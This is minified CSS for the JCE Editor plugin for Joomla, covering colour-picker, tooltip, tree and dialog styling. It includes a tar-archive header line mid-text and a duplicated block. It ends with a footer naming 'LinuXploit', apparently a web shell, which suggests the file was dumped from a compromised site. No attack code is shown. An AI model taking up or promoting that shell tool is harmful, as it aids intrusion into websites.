#colorpicker{margin:10px 0 0 0;min-width:250px;}body>#colorpicker{margin:0;}#colorpicker #colorpicker_tabs ul{margin:0;}#colorpicker #colorpicker_web ul,#colorpicker #colorpicker_named ul,#colorpicker #colorpicker_template ul{list-style:none;margin:0;padding:0;line-height:8px;}#colorpicker_web ul li,#colorpicker_named ul li,#colorpicker_template ul li{display:inline-block;margin:0 1px 1px 0;line-height:10px;}#colorpicker canvas{width:10px;height:10px;margin:0 1px 1px 0;}#colorpicker span.mceVoiceLabel{display:none;}#colorpicker_insert{float:right;margin:3px 0 0 10px;}#colorpicker_color{margin:0;padding:2px;width:60px;margin:5px 0;min-height:18px;}#colorpicker #colorpicker_tabs div>div.tab-pane{height:200px;}#colorpicker #colorpicker_tabs div>div.tab-pane>div{margin:10px auto;}#colorpicker_tabs div.ui-tabs-panel{height:200px!important;}#colorpicker #colorpicker_tabs a{text-decoration:none;}#colorpicker_tab table{margin:auto;}#colorpicker_preview_text{position:relative;float:left;height:2em;vertical-align:middle;}#colorpicker_preview_text label{margin-right:5px;vertical-align:middle;}#colorpicker_preview_color{float:left;margin:5px 0 0 5px;padding:11px 0;position:relative;vertical-align:middle;width:50px;}#colorpicker_preview{margin-top:5px;line-height:30px;}#colorpicker_named div,#colorpicker_web div,#colorpicker_template div{margin:10% auto 0;width:200px;}#colorpicker_template p{margin:1em auto;width:200px;}#colorpicker_named span,#colorpicker_web span,#colorpicker_template span{display:block;float:left;width:10px;height:10px;overflow:hidden;cursor:pointer;}#colorpicker_colorname{margin-top:5px;}#colorpicker_action{position:absolute;width:100%;}#colorpicker_template div{margin:20px auto 0;}#template_tab p{margin:auto;padding:0;width:200px;}div.colorpicker_generated div fieldset{height:155px;}iframe.colorpicker_blocker{width:100%;height:100%;position:absolute;top:0;left:0;z-index:-1;background-color:#F6F6F6;padding:1px;}#jce input#colorpicker_color{padding:.28em .1em;margin:0;height:1.5em;line-height:1.5em;font-size:1em;text-align:center;font-family:Verdana,Arial,Helvetica,sans-serif;width:80px;}div.colorpicker_tabs{width:100%;margin-right:20px;}iframe.blocker{height:100%;left:0;position:absolute;top:0;width:100%;background-color:#FFF;}#colorpicker_named,#colorpicker_web,#colorpicker_template{position:relative;}div#previewblock{margin-top:5px;float:left;}#colorpicker_picker div.farbtastic{margin:0 auto;position:relative;width:200px;}.colorwheel{position:relative;margin:0 auto;}.colorwheel *{position:absolute;cursor:crosshair;}.colorwheel .wheel{width:200px;height:200px;}.colorwheel .color,.colorwheel .overlay{top:47px;left:47px;width:101px;height:101px;}.colorwheel .wheel{background:url("../img/wheel.png") no-repeat;width:195px;height:195px;}.colorwheel .overlay{background:url("../img/mask.png") no-repeat;}.colorwheel .marker{width:17px;height:17px;margin:-8px 0 0 -8px;overflow:hidden;background:url("../img/marker.png") no-repeat;}editor/libraries/css/plugin.css000060400000043507150751770440012625 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
html,body,div,span,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,abbr,address,cite,code,del,dfn,em,img,ins,kbd,q,samp,small,strong,sub,sup,var,b,i,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,figcaption,figure,footer,header,hgroup,menu,nav,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline;}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{content:"";content:none;}ins{background-color:#ff9;color:#000;text-decoration:none;}mark{background-color:#ff9;color:#000;font-style:italic;font-weight:bold;}del{text-decoration:line-through;}abbr[title],dfn[title]{border-bottom:1px dotted;cursor:help;}table{border-collapse:collapse;border-spacing:0;}hr{display:block;height:1px;border:0;border-top:1px solid #ccc;margin:1em 0;padding:0;}input,select{vertical-align:middle;}body{font:13px/1.231 sans-serif;*font-size:small;}select,input,textarea,button{font:99% sans-serif;}pre,code,kbd,samp{font-family:monospace,sans-serif;}html{overflow-y:scroll;}a:hover,a:active{outline:none;}ul,ol{margin-left:2em;}ol{list-style-type:decimal;}nav ul,nav li{margin:0;list-style:none;list-style-image:none;}small{font-size:85%;}strong,th{font-weight:bold;}td{vertical-align:top;}sub,sup{font-size:75%;line-height:0;position:relative;}sup{top:-0.5em;}sub{bottom:-0.25em;}pre{white-space:pre;white-space:pre-wrap;word-wrap:break-word;padding:15px;}textarea{overflow:auto;}.ie6 legend,.ie7 legend{margin-left:-7px;}input[type="radio"]{vertical-align:text-bottom;}input[type="checkbox"]{vertical-align:bottom;}.ie7 input[type="checkbox"]{vertical-align:baseline;}.ie6 input{vertical-align:text-bottom;}label,input[type="button"],input[type="submit"],input[type="image"],button{cursor:pointer;}button,input,select,textarea{margin:0;}input:invalid,textarea:invalid{border-radius:1px;-moz-box-shadow:0 0 5px red;-webkit-box-shadow:0 0 5px red;box-shadow:0 0 5px red;}.no-boxshadow input:invalid,.no-boxshadow textarea:invalid{background-color:#f0dddd;}::-moz-selection{background:#FF5E99;color:#fff;text-shadow:none;}::selection{background:#FF5E99;color:#fff;text-shadow:none;}a:link{-webkit-tap-highlight-color:#FF5E99;}button{width:auto;overflow:visible;}.ie7 img{-ms-interpolation-mode:bicubic;}body,select,input,textarea{color:#444;}h1,h2,h3,h4,h5,h6{font-weight:bold;}a,a:active,a:visited{color:#607890;}a:hover{color:#036;}[draggable=true]{-khtml-user-drag:element;-moz-user-select:none;}#jce-tooltip.jce-tooltip h4,#jce-tooltip.jce-tooltip p,#jce-tooltip.jce-tooltip ul{font-size:1em;margin:0;padding:0;word-wrap:normal;}#jce-tooltip.jce-tooltip ul{margin:0 0 0 20px;}#jce-tooltip.jce-tooltip h4{font-weight:bold;font-size:1.1em;}#jce-tooltip.jce-tooltip a{text-decoration:underline;}#jce-tooltip.jce-tooltip{padding:.8em;min-width:10em;max-width:30em;border-width:2px!important;position:absolute;z-index:9999;visibility:hidden;margin:0;font-size:11px;border:1px solid #ccc;background:#fff;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;}label.hasTip,span.hasTip,label.hastip,span.hastip,label.tooltip,span.tooltip,label.wf-tooltip,span.wf-tooltip{cursor:help;}#jce-tooltip span.ui-icon-close{position:absolute;right:0;top:0;cursor:pointer;}#jce-tooltip span.ui-icon-close:after{content:"\00d7";display:block;font-family:arial;font-size:16px;font-weight:bold;line-height:10px;padding:6px;}#jce-tooltip .jce-tooltip-pointer,#jce-tooltip .jce-tooltip-pointer:after,#jce-tooltip .jce-tooltip-pointer-inner{border-color:transparent;border-style:solid;display:inline-block;height:0;position:absolute;width:0;}#jce-tooltip .jce-tooltip-pointer:after{content:"";z-index:-1;}#jce-tooltip .jce-tooltip-pointer.top,#jce-tooltip .jce-tooltip-pointer.top .jce-tooltip-pointer-inner{border-top-color:#FFF;border-width:7px 7px 0;bottom:-7px;left:50%;margin-left:-7px;}#jce-tooltip .jce-tooltip-pointer.top .jce-tooltip-pointer-inner{bottom:0;}#jce-tooltip .jce-tooltip-pointer.top:after{border-top-color:#ccc;border-width:8px 8px 0;bottom:-3px;left:-8px;}#jce-tooltip .jce-tooltip-pointer.right,#jce-tooltip .jce-tooltip-pointer.right .jce-tooltip-pointer-inner{border-right-color:#FFF;border-width:7px 7px 7px 0;left:-7px;margin-top:-7px;top:50%;}#jce-tooltip .jce-tooltip-pointer.right .jce-tooltip-pointer-inner{left:0;}#jce-tooltip .jce-tooltip-pointer.right:after{border-right-color:#ccc;border-width:8px 8px 8px 0;bottom:-8px;left:-3px;}#jce-tooltip .jce-tooltip-pointer.bottom,#jce-tooltip .jce-tooltip-pointer.bottom .jce-tooltip-pointer-inner{border-bottom-color:#FFF;border-width:0 7px 7px;left:50%;margin-left:-7px;top:-7px;}#jce-tooltip .jce-tooltip-pointer.bottom .jce-tooltip-pointer-inner{top:0;}#jce-tooltip .jce-tooltip-pointer.bottom:after{border-bottom-color:#ccc;border-width:0 8px 8px;left:-8px;top:-3px;}#jce-tooltip .jce-tooltip-pointer.left,#jce-tooltip .jce-tooltip-pointer.left .jce-tooltip-pointer-inner{border-left-color:#FFF;border-width:7px 0 7px 7px;margin-top:-7px;right:-7px;top:50%;}#jce-tooltip .jce-tooltip-pointer.left .jce-tooltip-pointer-inner{right:0;}#jce-tooltip .jce-tooltip-pointer.left:after{border-left-color:#ccc;border-width:8px 0 8px 8px;bottom:-8px;right:-3px;}#jce-tooltip.wf-colorpicker{box-shadow:0 5px 10px rgba(0,0,0,0.2);}span.editable-edit{width:20px;height:20px;display:inline-block;cursor:pointer;background:transparent url("../img/icons.png") no-repeat 0 -1080px;vertical-align:middle;}div.tree ul{padding:0;margin:0;list-style:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;}div.tree ul li{padding:0 0 0 16px;margin:0;vertical-align:middle;}div.tree ul li.spacer{margin:0;padding:0;display:none;visibility:hidden;}div.tree ul li div.tree-row{height:20px;}div.tree ul li div.tree-row:hover{background-color:#ddd;color:black;}div.tree ul li div.tree-row div.tree-image{height:20px;width:20px;margin-left:-20px;cursor:pointer;background:url(../img/icons.png) no-repeat 0 -540px;float:left;}div.tree ul li div.tree-row div.tree-noimage{float:left;width:20px;}div.tree ul li.open>div.tree-row div.tree-image{background:url(../img/icons.png) no-repeat 0 -560px;}div.tree ul li div.tree-row span{height:20px;background:url(../img/icons.png);background-repeat:no-repeat;display:block;cursor:pointer;user-select:none;-moz-user-select:none;-ms-user-select:none;-webkit-user-select:none;}div.tree ul li div.tree-row span.folder{background-position:0 -220px;}div.tree ul li div.tree-row span.file{background-position:0 -400px;}div.tree ul li.open>div.tree-row span.folder{background-position:0 -240px;}div.tree ul li div.tree-row span.load{background:url(../img/load.gif) no-repeat 0 0!important;}div.tree ul li div.tree-row span a{margin:0 0 0 22px;text-decoration:none;line-height:20px;display:block;white-space:nowrap;}div.tree ul li div.tree-row span a:visited,div.tree ul li div.tree-row span a:active,div.tree ul li div.tree-row span a:link{text-decoration:none;color:black;}div.tree ul li div.tree-row span.root,div.tree ul li div.tree-row span.root.open{background-position:0 -320px;}#jce.ie div.tree ul{margin:0 0 0 -16px;}#jce.ie div.tree ul li{clear:left;margin:0 0 0 16px;}#jce.ie div.tree ul li div.tree-row{margin:0 0 0 -16px;}#jce.ie div.tree ul li div.tree-row span{float:left;clear:right;white-space:pre;}#jce.ie div.tree ul li div.tree-row div.tree-image{margin-left:0;}#colorpicker{margin:10px 0 0 0;min-width:250px;}body>#colorpicker{margin:0;}#colorpicker #colorpicker_tabs ul{margin:0;}#colorpicker #colorpicker_web ul,#colorpicker #colorpicker_named ul,#colorpicker #colorpicker_template ul{list-style:none;margin:0;padding:0;line-height:8px;}#colorpicker_web ul li,#colorpicker_named ul li,#colorpicker_template ul li{display:inline-block;margin:0 1px 1px 0;line-height:10px;}#colorpicker canvas{width:10px;height:10px;margin:0 1px 1px 0;}#colorpicker span.mceVoiceLabel{display:none;}#colorpicker_insert{float:right;margin:3px 0 0 10px;}#colorpicker_color{margin:0;padding:2px;width:60px;margin:5px 0;min-height:18px;}#colorpicker #colorpicker_tabs div>div.tab-pane{height:200px;}#colorpicker #colorpicker_tabs div>div.tab-pane>div{margin:10px auto;}#colorpicker_tabs div.ui-tabs-panel{height:200px!important;}#colorpicker #colorpicker_tabs a{text-decoration:none;}#colorpicker_tab table{margin:auto;}#colorpicker_preview_text{position:relative;float:left;height:2em;vertical-align:middle;}#colorpicker_preview_text label{margin-right:5px;vertical-align:middle;}#colorpicker_preview_color{float:left;margin:5px 0 0 5px;padding:11px 0;position:relative;vertical-align:middle;width:50px;}#colorpicker_preview{margin-top:5px;line-height:30px;}#colorpicker_named div,#colorpicker_web div,#colorpicker_template div{margin:10% auto 0;width:200px;}#colorpicker_template p{margin:1em auto;width:200px;}#colorpicker_named span,#colorpicker_web span,#colorpicker_template span{display:block;float:left;width:10px;height:10px;overflow:hidden;cursor:pointer;}#colorpicker_colorname{margin-top:5px;}#colorpicker_action{position:absolute;width:100%;}#colorpicker_template div{margin:20px auto 0;}#template_tab p{margin:auto;padding:0;width:200px;}div.colorpicker_generated div fieldset{height:155px;}iframe.colorpicker_blocker{width:100%;height:100%;position:absolute;top:0;left:0;z-index:-1;background-color:#F6F6F6;padding:1px;}#jce input#colorpicker_color{padding:.28em .1em;margin:0;height:1.5em;line-height:1.5em;font-size:1em;text-align:center;font-family:Verdana,Arial,Helvetica,sans-serif;width:80px;}div.colorpicker_tabs{width:100%;margin-right:20px;}iframe.blocker{height:100%;left:0;position:absolute;top:0;width:100%;background-color:#FFF;}#colorpicker_named,#colorpicker_web,#colorpicker_template{position:relative;}div#previewblock{margin-top:5px;float:left;}#colorpicker_picker div.farbtastic{margin:0 auto;position:relative;width:200px;}.colorwheel{position:relative;margin:0 auto;}.colorwheel *{position:absolute;cursor:crosshair;}.colorwheel .wheel{width:200px;height:200px;}.colorwheel .color,.colorwheel .overlay{top:47px;left:47px;width:101px;height:101px;}.colorwheel .wheel{background:url("../img/wheel.png") no-repeat;width:195px;height:195px;}.colorwheel .overlay{background:url("../img/mask.png") no-repeat;}.colorwheel .marker{width:17px;height:17px;margin:-8px 0 0 -8px;overflow:hidden;background:url("../img/marker.png") no-repeat;}html{overflow:hidden;height:100%;}body#jce{padding:5px!important;font:10px Verdana,Arial,Helvetica,sans-serif;background-color:#FFF;margin:0;position:relative;height:100%;overflow:hidden;-webkit-overflow-scrolling:'touch';}#jce{border:0 none;}#jce select,#jce input #jce textarea{font:10px Verdana,Arial,Helvetica,sans-serif;}#tabs.ui-tabs .ui-tabs-panel{margin:0;padding:4px;}textarea{resize:none;outline:none;}a:link,a:visited{color:#000;}a:hover{color:#2B6FB6;}fieldset{margin:0;padding:4px;}legend{color:#2B6FB6;font-weight:bold;padding:0 5px;}label{display:inline-block;min-width:80px;}label.invalid{color:#E00;}input.invalid{border:1px solid #E00;}input,select,textarea{font-size:10px;border:1px solid gray;}a.browse span{display:block;width:20px;height:20px;background:url(../img/icons.png) 0 -960px;border:1px solid #FFF;margin-left:1px;}a.browse span.datetime{background:url(../img/icons.png) 0 -1020px;}.mceOldBoxModel a.browse span{width:22px;height:20px;}a.pickcolor span{display:block;width:16px;height:16px;background:url(../img/icons.png) 0 -1000px;margin-left:2px;}.mceOldBoxModel a.pickcolor span{width:21px;height:17px;}.wordWrapCode{vertical-align:middle;border:1px none #000;background:transparent;}h1,h2,h3,h4,h5{color:#2B6FB6;margin:0;padding:2px 0;}.title{font-size:12px;font-weight:700;color:#2B6FB6;}#plugintable thead{font-weight:700;background:#DDD;}#plugintable,#about #plugintable td{border:1px solid #919B9C;}#plugintable{width:96%;margin-top:10px;}#pluginscontainer{height:290px;overflow:auto;}.ui-tabs .ui-tabs-hide{display:block!important;position:absolute;top:-10000px;left:-10000px;}label.disabled{color:#ccc;}input[type="text"],select{line-height:14px;padding:1px;}input[type="text"]{height:16px;}input[type="checkbox"]{margin:2px;vertical-align:middle;}.show{display:block;}.visible{visibility:visible;}.hidden{visibility:hidden;}.loader{background:url(../img/load.gif) no-repeat center;width:20px;height:20px;display:block;}span.loader{display:inline-block;vertical-align:middle;}.ui-addselect,.mceAddSelectValue{background-color:#DDD;}dl.alert{vertical-align:middle;width:100%;margin:0;padding:0;}dl.alert dt{height:20px;background:url(../img/icons.gif) no-repeat;font-weight:700;margin:0;padding:3px 0 0 25px;}dl.alert dt.alert{background-position:0 -20px;}dl.alert dt.info{background-position:0 -300px;}dl.alert dt.error{background-position:0 -340px;}dl.alert dd{width:80%;margin:0;padding:0;}select#border_width,select#border_style{width:80px;}span.browser_container,span.colour_container{display:inline-block;vertical-align:middle;}span.hastip,span.tooltip{border-bottom:1px dashed #919B9C;}.hastip:first-line,.tooltip:first-line{background:url('../img/dash.gif') repeat-x bottom center;}div.ui-preview div.ui-dialog-content.ui-widget-content{padding:10px;}div.image-preview img{display:block;cursor:pointer;margin:0 auto;}div.image-preview.background{background-position:center;background-repeat:no-repeat;background-image:none;}div.image-preview.background.resize{background-size:contain;-webkit-background-size:contain;-moz-background-size:contain;}div.iframe-preview{height:100%;width:100%;}div.image-preview.loading,div.media-preview.loading,div.iframe-preview.loading{background:url(../../tiny_mce/themes/advanced/skins/default/img/progress.gif) no-repeat center;}input#dialog-prompt{padding:2px;}.ui-dialog-content{overflow:hidden;}.ui-dialog-content label{min-width:60px;text-align:right;display:inline-block;margin:0 5px 0 0;}span.browser_icon{display:inline-block;width:20px;height:20px;background:url(../img/icons.png) 0 -960px;border:1px solid #FFF;margin-left:1px;cursor:pointer;vertical-align:middle;}span.pickcolor_icon{display:inline-block;width:16px;height:16px;background:url(../img/icons.png) 0 -1000px;margin-left:2px;cursor:pointer;vertical-align:middle;}div#popups_tab select#popup_list{margin:0 0 0 16px;}label.msg,.hide{display:none;}input.radio,input.checkbox{border:1px none #000;background:transparent;vertical-align:middle;}.input_noborder,img{border:0;}a.browse{display:inline-block;vertical-align:middle;}a.browse span.image,span.browser_icon.image{background:url(../img/icons.png) 0 -980px;}a.browse:hover span,span.browser_icon:hover{border:1px solid #0A246A;background-color:#B2BBD0;}a.browse span.disabled,span.browser_icon.disabled{border:1px solid #FFF;opacity:.3;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";filter:alpha(opacity=30);}a.browse:hover span.disabled,span.browser_icon.disabled:hover{border:1px solid #FFF;background-color:transparent;}a.pickcolor:hover span,span.pickcolor_icon:hover{background-color:#B2BBD0;}.mceActionPanel,div.actionPanel{position:absolute;bottom:25px;right:4px;}label,input,select{vertical-align:middle;line-height:16px;}.disabled{cursor:default;}span[role="button"].disabled{opacity:.3;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";filter:alpha(opacity=30);}input[disabled],select[disabled]{color:#ccc;background-color:#efefef;}select.editable option.ui-state-highlight{border:0 none;color:#000;}select.editable option.ui-state-highlight:hover{color:#000;}span.ui-slider-block{display:inline-block;height:1em;margin:0 5px;position:relative;vertical-align:middle;}span.ui-slider{position:absolute;display:block;width:100px;left:5px;}#jce div.ui-dialog div.ui-dialog-content div.confirm,#jce div.ui-dialog div.ui-dialog-content div.alert{display:inline-block;font-size:1.1em;padding:0 0 0 32px;margin:3px 0;min-height:24px;width:240px;word-wrap:break-word;}#jce div.ui-dialog div.ui-dialog-content div.confirm span.icon,#jce div.ui-dialog div.ui-dialog-content div.alert span.icon{display:inline-block;float:left;padding:0 0 0 32px;margin:3px 0 0 -32px;min-height:24px;background:url('../img/icons-24.png') no-repeat 0 -48px;}#jce div.ui-dialog div.ui-dialog-content div.alert span.icon{background-position:0 -144px;}#jce div.ui-dialog div.ui-dialog-content div.alert ul{list-style:none;padding:0;margin:0;}#jce div.ui-dialog div.ui-dialog-content div.confirm p,#jce div.ui-dialog div.ui-dialog-content div.alert p{margin:0 0 1em 0;}span#dim_loader{display:inline-block;}#jce table td{padding:2px;vertical-align:middle;}label[for^="margin_"],label[for^="border_"],label[for="clear"]{min-width:40px;}label[for="margin_check"]{margin:0 0 0 5px;}label[for="popup_check"]{margin:0 0 0 5px;}label[for="popup_list"]{min-width:100px;}div#popups_tab{overflow-x:auto;}.ui-dialog-content p{margin:1em 0;}#jce div.aggregator_option{line-height:20px;}#jce span.aggregator_option_add{background:url("../img/icons.png") no-repeat 0 -540px;color:#CCC;cursor:pointer;display:inline-block;height:20px;line-height:20px;margin:auto;position:absolute;text-align:center;vertical-align:middle;width:130px;}#jce span.aggregator_option_remove{background:url("../img/icons.png") no-repeat 0 -560px;height:20px;width:20px;line-height:20px;vertical-align:middle;cursor:pointer;display:inline-block;}.spinner{background:url(../img/spinner.png) no-repeat center;width:16px;height:16px;display:block;-webkit-animation:spinner 1s infinite linear;-moz-animation:spinner 1s infinite linear;-o-animation:spinner 1s infinite linear;animation:spinner 1s infinite linear;}@-webkit-keyframes spinner{from{-webkit-transform:rotate(0deg);}to{-webkit-transform:rotate(360deg);}}@-moz-keyframes spinner{from{-moz-transform:rotate(0deg);}to{-moz-transform:rotate(360deg);}}@-o-keyframes spinner{from{-o-transform:rotate(0deg);}to{-o-transform:rotate(360deg);}}@keyframes spinner{from{transform:rotate(0deg);}to{transform:rotate(360deg);}}

Youez - 2016 - github.com/yon3zu
LinuXploit